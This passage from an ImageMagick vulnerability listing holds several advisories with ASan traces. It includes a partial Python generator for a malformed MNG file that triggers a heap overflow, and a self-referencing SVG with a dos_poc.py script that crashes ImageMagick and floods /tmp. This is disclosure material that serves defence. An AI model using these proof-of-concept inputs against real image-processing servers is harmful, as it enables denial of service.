chunk(b'MHDR', mhdr_data) magn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1) magn_chunk = chunk(b'MAGN', magn_data) jhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0) jhdr_chunk = chunk(b'JHDR', jhdr_data) jdat_chunk = chunk(b'JDAT', jpeg) scanlines = b'\x00\x00'*128 compressed_scanlines = zlib.compress(scanlines) idat_chunk = chunk(b'IDAT', compressed_scanlines) iend_chunk = chunk(b'IEND', b'') mend_chunk = chunk(b'MEND', b'') mng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk with open("magn_read.mng", "wb") as tmp: tmp.write(mng_bytes) ``` ### **Command** ```shell python3 ./generate_testcase.py utilities/magick ./magn_read.mng -resize 200x200 PNG:output.png ``` ### **ASan Backtrace** ``` ================================================================= ==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8 READ of size 4 at 0x51b000000680 thread T0 #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51 #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22 #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7 #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3) 0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680) allocated by thread T0 here: #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3) #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10 #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10 #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34 #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22 #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7 #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed Shadow bytes around the buggy address: 0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1562409==ABORTING ``` ## **Reporter Credit** Google Big Sleep |
Affected by 71 other vulnerabilities. |
|
VCID-vkp6-wh22-eqap
Aliases: CVE-2025-62594 GHSA-wpp4-vqfq-v4hp |
ImageMagick CLAHE : Unsigned underflow and division-by-zero lead to OOB pointer arithmetic and process crash (DoS) A single root cause in the CLAHE implementation — tile width/height becoming zero — produces two distinct but related unsafe behaviors. Vulnerabilities exists in the `CLAHEImage()` function of ImageMagick’s `MagickCore/enhance.c`. 1. Unsigned integer underflow → out-of-bounds pointer arithmetic (OOB): when `tile_info.height == 0`, the expression `tile_info.height - 1` (unsigned) wraps to a very large value; using that value in pointer arithmetic yields a huge offset and OOB memory access (leading to memory corruption, SIGSEGV, or resource exhaustion). 2. **Division/modulus by zero**: where code performs `... / tile_info.width` or `... % tile_info.height` without re-checking for zero, causing immediate division-by-zero crashes under sanitizers or `abort` at runtime. Both behaviors are triggered by the same invalid tile condition (e.g., CLI exact `-clahe 0x0!` or automatic tile derivation `dim >> 3 == 0` for very small images). --- | There are no reported fixed by versions. |
|
VCID-vpdn-g1k9-1kdn
Aliases: CVE-2026-25986 GHSA-mqfc-82jx-3mr2 |
ImageMagick has heap buffer overflow in YUV 4:2:2 decoder A heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer. ``` ================================================================= ==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260 WRITE of size 8 at 0x5170000002e0 thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-x44m-x33k-hydn
Aliases: GHSA-gq5v-qf8q-fp77 |
ImageMagick: Heap-based Buffer Overflow in GetPixelIndex due to metadata-cache desynchronization `OpenPixelCache` updates image channel metadata **before** attempting pixel cache memory allocation. When both memory and disk allocation fail a heap-buffer-overflow read in occurs in any writer that calls `GetPixelIndex`. |
Affected by 18 other vulnerabilities. |
|
VCID-x8c6-9pse-xkc8
Aliases: CVE-2026-28693 GHSA-hffp-q43q-qq76 |
ImageMagick: Integer overflow in DIB coder can result in out of bounds read or write An integer overflow in DIB coder can result in out of bounds read or write |
Affected by 1 other vulnerability. |
|
VCID-xbsu-ac6g-53fn
Aliases: CVE-2026-25794 GHSA-vhqj-f5cj-9x8h |
ImageMagick has heap-buffer-overflow via signed integer overflow in WriteUHDRImage when writing UHDR images with large dimensions `WriteUHDRImage` in `coders/uhdr.c` uses `int` arithmetic to compute the pixel buffer size. When image dimensions are large, the multiplication overflows 32-bit `int`, causing an undersized heap allocation followed by an out-of-bounds write. This can crash the process or potentially lead to an out of bounds heap write. ``` ==1575126==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc382ef3820 at pc 0x5560d31f229f bp 0x7ffe865f9530 sp 0x7ffe865f9520 WRITE of size 8 at 0x7fc382ef3820 thread T0 #0 0x5560d31f229e in WriteUHDRImage coders/uhdr.c:807 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-y4hn-6bv6-jugw
Aliases: CVE-2026-25968 GHSA-3mwp-xqp2-q6ph |
ImageMagick: MSL attribute stack buffer overflow leads to out of bounds write. A stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption. ``` ================================================================= ==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0 WRITE of size 1 at 0x7ffdb8c76984 thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-y58b-be93-hbfd
Aliases: CVE-2026-28686 GHSA-467j-76j7-5885 |
ImageMagick: Write heap-buffer-overflow in PCL encoder via undersized output buffer A heap-buffer-overflow vulnerability exists in the PCL encode due to an undersized output buffer allocation. ``` WRITE of size 1 at 0x7e79f91f31a0 thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-yx7r-r7ez-7uhp
Aliases: CVE-2026-25797 GHSA-rw6c-xp26-225v |
ImageMagick: Code Injection via PostScript header in ps coders The ps encoders, responsible for writing PostScript files, fails to sanitize the input before writing it into the PostScript header. An attacker can provide a malicious file and inject arbitrary PostScript code. When the resulting file is processed by a printer or a viewer (like Ghostscript), the injected code is interpreted and executed. The html encoder does not properly escape strings that are written to in the html document. An attacker can provide a malicious file and injection arbitrary html code. |
Affected by 18 other vulnerabilities. |
|
VCID-z9t9-bxf9-hkfk
Aliases: CVE-2026-25796 GHSA-g2pr-qxjg-7r2w |
ImageMagick has memory leak of watermark Image object in ReadSTEGANOImage on multiple error/early-return paths ### Summary In `ReadSTEGANOImage()` (`coders/stegano.c`), the `watermark` Image object is not freed on three early-return paths, resulting in a definite memory leak (~13.5KB+ per invocation) that can be exploited for denial of service. ``` Direct leak of 13512 byte(s) in 1 object(s) allocated from: #0 0x7f5c11e27887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x55cdc38f65c4 in AcquireMagickMemory MagickCore/memory.c:536 #2 0x55cdc38f65eb in AcquireCriticalMemory MagickCore/memory.c:612 #3 0x55cdc3899e91 in AcquireImage MagickCore/image.c:154 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-zab9-9tqj-hbhg
Aliases: CVE-2026-25985 GHSA-v7g2-m8c5-mf84 |
ImageMagick: Memory allocation with excessive without limits in the internal SVG decoder A crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort. Found via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer. |
Affected by 18 other vulnerabilities. |
|
VCID-zpcy-nms7-kuha
Aliases: CVE-2026-28493 GHSA-r39q-jr8h-gcq2 |
ImageMagick has Integer Overflow leading to out of bounds write in SIXEL decoder An integer overflow vulnerability exists in the SIXEL decoer. The vulnerability allows an attacker to perform an out of bounds via a specially crafted mage. |
Affected by 1 other vulnerability. |
|
VCID-zx14-t8et-ufcq
Aliases: GHSA-3q5f-gmjc-38r8 |
ImageMagick: Memory leak in coders/txt.c without freetype If a `texture` attribute is specified for a TXT file, an attempt will be made to read it via `texture=ReadImage(read_info,exception);`. Later, when retrieving metrics via the `GetTypeMetrics` function, if this function fails (i.e., `status == MagickFalse`), the calling function will exit immediately but fail to release the texture object, leading to memory leakage. |
Affected by 18 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-6vvv-g1fm-4bdn | ImageMagick: Specially crafted SVG leads to segmentation fault and generate trash files in "/tmp", possible to leverage DoS ### Summary Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS. ### Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara) ### Tested ImageMagick version 6.9.11-60, 7.1.0-62 ### Details A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file. It seems that this error affects a lot of websites and causes a generating trash files in ```/tmp``` when uploading this PC file to the server. I think it's better to check the file descriptor coming from itself before executing ```read()```. ### PoC 1. Generate SVG file: ```<?xml version="1.0" standalone="yes"?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="bad.svg" /> </svg> ``` 2. Run some commands for verification: ```$rm -f /tmp/* $./magick --version Version: ImageMagick 7.1.0-62 Q16-HDRI x86_64 74b3683a4:20230211 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (7.5) $./magick convert -verbose -font OpenSymbol bad.svg t.jpg 'inkscape' '/tmp/magick-ixX13JwrwrLUhyucKsGxechsQtEN4Zji' --export-filename='/tmp/magick-qp154V6U-dyAwtU-QbcnWD8XKFcG7q5k.png' --export-dpi='96' --export-background='rgb(100%,100%,100%)' --export-background-opacity='1' > '/tmp/magick-YWdlPJt-_9BfRq0uY2vmza_VOxWfjyvl' 2>&1 Segmentation fault $ls /tmp magick-1iZstE-dzlzQTN4HkWX_JlakXXtH4IEM magick-GeFwj8Be_wISDLJnsr4s5WC7p079pzXN magick-s7QN2tTaiXEr9KmkbkHdmtfmgrnjFRaM magick-1LG0ND-RZMQOG8xizDHd-qdd6_Fu70YP magick-ggORXwnSivWesH2gthhafuLTVw7TLqwP magick-s835rBXZIGK5bkp3ijKoMTCbcyWza3ON magick-25byX_oEeEr2dWIkr9nyEoVz1MHC2n9M magick-GrRg60fY1LOv4uUhqD16AaEcL6rWtNeN magick-siS7QS_av31X63ENYmecytIjx1iKmWAN magick-2Dj7LuLUHF6Y93mZ9ZT8a5taf7b5Hb9O magick-gTQUBafZIaI1n8q-QXOwOvyc6qv3tolN magick-SIXvVjWVvDhX1w5NL9K6owJtO0CgG3NN magick-2GrJuPlQjwGwsTK8I1aTMxg90h8PeK4M magick-hik3AU_2x0D_R8ViIBXUIuRljCXSmgqO magick-sJhO2Yv_aeKsxt1JxDENKIiQqkOkSfwM magick-2QIFnR9e-fYRFevd1-vQ-bSk0I1VOAsO magick-HJ18uyG3HLvEftNcMqCEJ5LKwi12CQgO magick-SNgGdhyKjp5TZZQmWqioLEcyQ8vMzG3O magick-2rEueYW0PIXGxE1zHm3LsGedMW2KLdgP magick-hUaNDJgYfzTzJes4QlnLwaYh2fcaOWgQ magick-SxLBCSdKVHSQOrjohe4WFyLHaPOyDUiP magick-2uRqbAjqkXXMMGQHpw8WG18lnDHaRd3N magick-_HWqrSdj_ihWMzjJ_eRiAkKbgrIljhUM magick-t02HQvZSsYLzmJesC2Mpjp5OL3zN4A5P magick-3dPT4h0HzM6ZqCwpGEB69e27pZhHbfHP magick-iEMFbMc2VvGj067miVskUC-mxOveGpqO magick-T4kTJGu-6wF60OOIHOB5tKO63NW5qTTL magick-3SVSiI4Yg_eQ01ZZV8lZsBM_MhauuwpO magick-InCjmKQ7uSGizlJFOZz9Vo3Ax1yvLy5L magick-TGIY7l3-dNVdAbGaMIbN0z3YGy5mrNvM magick-3WQIQghdu9-YHVasNASfkkU63yyVdmfO magick-IPu9YWX3Lk96EkP63KLqQ-CX6020cZMN magick-Thg6M-CqdcXc0SyjRdYm19rtVBLt2U6P magick-4hLf4JPIes67QpGP7GfmOPftGvENC1aN magick-IVKuPYBpBe6Lx9F3lLMAMCjIptMoz0ZM magick-TiTtPZdT3Zgsd-pasyRFTb-DbLGNqJTO magick-4tTMAJrCHh2E8M1xw5BIjx8UDyb42FWM magick-IVzovwQiOR2fwJDO5E5RZb58apCPBX8M magick-_TQZIwyyLufZWMVx1-k3YLSYSsGl6upM magick-4xs5mqt95PYGrXXxZiwyYHFKREC0NEWL magick-J36psEABfkKfgVQdeFsptbkRWT0b1uNP magick-tzMg0NWi-_GQOzES2aPMPRqCk-bgjyVN magick-5DmloHI-m-WPROyfQmm5cF8GOEVa5EqO magick-jEq-Q6t6D3CU-eevjhgfjU_LPP3pOEoO magick-ULNarZD53mUqpJrHZVeZw5x0cuUH683N magick-5JvQUY2vVq_kpzhfUTcsxao_YB2WImZN magick-jNiokVz_0Iifz5QX3a9AUIUOBoxfJ49P magick-uLR13qPG6X-c3avLRypLJ-C7-UiUH9tM magick-5NoXNg55Xyh8816ksKEcqreuN1BF93LO magick-jwa4IVvrxrE4OTSA0m8iB2W3K5LiinmQ magick-uW9khwJZfM4EH1cETVDv09QnueONQGPP magick-60BRKi88--TOk-Sp8t5nAyAxjSuOpxfO magick-K5mhLUCkx0WJxcWr7G7oT0nNrc5qBvgQ magick-v4l3nLHBXBjCNc-nTHSTwUOEfsNCUMnP magick-6t2qB_JnplYLZZo5thj6PV0R15LrPe4L magick-K5qzx3k8-36H5wfEgl3Jy1oNpOyscHhN magick-v7Xm_e5JIf4lCC_CwXJkIuQNHEE7D1LM magick-6_UmuyWO8OviaajA92_VeD1bK8z0btAO magick-K6-l4o2PkC4V7Nq_IJ9y-ifJLl6lSzdM magick-vd7xpM8OrXvu3Oftqd7xdRmGDdoGcHrP magick-725dkkTfpkfKmogI4WLWWwCbrxc0aysP magick-KchLIwf4-ahsUq1FsJfK58j3Jb6CAMTP magick-VhfNmWGF-AOhytm1DMGG8n1DLOAG3p1N magick-7rZG_PFyH2Q7ibxFrB4kTQZjkihhU9uO magick-kpcUuOTI4UlrK8kHoZh38ziLMmBjtjvO magick-vHp_Pz6BixbqmYCq_D2zs2sU4hFRbQoP magick--7T1tmKSEJSSPJIgeDEQ9PLdo8oPh60P magick-kReWGvubeCrLdw4RcRsJdJhlV43wCffM magick-VLoWnTJppgO7-ivh0q_uuGcgPDkuyKPN magick-8jBguKQr6qeZTsw4eFbQWO34ndlsBpbO magick-LBjQNSTFFpLRnj3Cldvjm5e_PWYL1fLL magick-Vp_vOIJK-XsFRZeAS1ZJ9Ra2vkgJbCOL magick-9Hno6LBapbL0jw_CSEC7Ua6A7kB3uYiN magick-Lfu-5C1697AwNxTZnljfR24E2_7ZDnwP magick-VpzT9KMjKbomi6mV3ZnnRkoq1WAP41vM magick-9SN2401usIEYCc6zcn442pdvqyVdPWaQ magick-lHxUfKDHYSfpVi7yOc31u7gJVTXLhSuN magick-vRG2_rcf6I8lB2MJF6DqHqh2_z21IP5N magick-a1uVHLsbEnA8yXKvwmW3PWAFBdnfoSnQ magick-M4mcsykxHPNkFTDgc4tdJ9kP1Trkm64M magick-vw2VNrClFVhnXLqVoIz35Xpo232qsngN magick-AbpJUZcspor3bkYr70l17bGSjntyAhZP magick-m5P0dZWaFUeZo4kr8HcO6vpfuICmmBcM magick-WEYdL0amRHxeCpuGiFEuulRwwzkjZyXO magick-Acsy_QEmT-x7nE6DvfIv2pqjLbfJYTtN magick-MHI0zAFGR1-ljbFLl12i5hFVpkoBbdpN magick-WKjEe_jTF4V6Jt_kCbFEy2B6kQcyFseQ magick-Ai76_QfTBT0DXjGqvZ_aAGia_gvAxuGM magick-mOckd_uEYCLc9gy1XwVgtJWpr1aDU7QP magick-WkkwqgsnNNSleWlRm-1BN8RiE-QcF9lO magick-albf_l7tU2ASh6PRhnMWBDscz31fS1BO magick-MrajCpsti_3MlAWlNviDCY3iUeZsgGLM magick-WMlxV7rdjtMYe1F0aggQZW2WNpvhY2GO magick-A-nsLcvOOBlHzdBGQMSsdTrvsfUevEQO magick-mZyca0hC8atGLvY-m0UYec1yCU3rGIWM magick-wnqAodNT7ZVbe8dIN-Gd2pxCNo6cwzOL magick-AplCAOC7_K6cDM3qO3wqSONMhVuztohO magick-NAH0CgD3XCLMS1VN_-4yju-2RCdFJbGO magick-wP3Q3aM05wB2K6NBolzm6sC_R3b5wE1P magick-ApNw8tmuaXUw-mqdMF7P0ZKOV3YHwQGM magick-NU3oGX5NxUhJvWQ_WWY8-7BNAnHWJceM magick-wsCa-R-K6HYtZ7FWWnPg3FpOyGmS1wuO magick-AWye85xaEc_t6rGB9bIvIz9BBhrRyg3O magick-NZBKgJGx7bH8uZ2PiKF8jtzCI9aBDVZN magick-WvNjMMQ2gXHSGNWCMceMqBL8ksnGZIuO magick-aXtmFaHIdz24xjFvCy4ZQda2wef0AH0N magick-o3FerPGSptnb0U5mHu6DH-00ZTlTlDCO magick-xAPfisi5E9NHJKbkrbCGioXCkTs3uDYM magick-B5uiXH3Mrf0GgmF9NAPwqSJd-lMFLfrM magick-o4Dl5iYn3veI54-lNtHgm6wnAIQ79urP magick-Xb2irJZuxzYWsCfmYHc8oaKU67ANR27N magick-BEr6_VZecWKFCRVuSXPEIbJu6uuBe0pO magick-o9S5taGlSrED8zUEtv0EkpjoWk61fJBO magick-Xkes-Q_QqXhMthGwFKxLjpRvL96qRd6O magick-bKCtVcSkQqtXdjO8X_AyWeocMsYuZArN magick-OeHngPf0pRuDH9DpIs_OpkoAbDnAvBTL magick-xlhsal9kyY6QMOSb1WmyTx1vGTqE94bO magick-Btw2-hfTAVQLiPRMXakrXs_UhstT2ZGM magick-OhD82cIFbY91zGxpIt52AbjWekddAU2L magick-xmmr39PvOExl0B8w0YO_oq2_yYyWoVLM magick-By2_pnDUxk85bO3M7kkMbAEXHGShyc0O magick-OlcHbZjE_-66xMyWVlhfAucxYJioiQ4L magick-xq9qw9wK-TRFokBTostne36jQXljCa7M ... ``` ### Impact Possible DOS, because when ImageMagick crashes it generates a lot of trash files. This trash file can be large, if SVG file contains many render action. ### Additional impact In DOS attack if remount attacker uploads an SVG file of size t, ImageMagick generates files of size 103*t. This means that if an attacker uploads a 100 M SVG, the server will generate about 10 G. Example: ``` $cat dos_poc.py open("bad_dos.svg", "w").write("""<?xml version="1.0"?> <?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" href="bad_dos.svg"""" + "0"*(1024*1021) + """"" /> </svg>""") $rm -rf /tmp/magick-* $python3 dos_poc.py $du -h bad_dos.svg 1,0M bad_dos.svg $../magick convert -font OpenSymbol bad_dos.svg t.jpg Segmentation fault $cat /tmp/magick-* > dos_k.txt $du -h dos_k.txt 103M dos_k.txt ``` P. S. If ImageMagick will work in Docker container this attack will crash server where docker running. Because the size of the docker container will increase. |
CVE-2023-1289
GHSA-j96m-mjp6-99xr |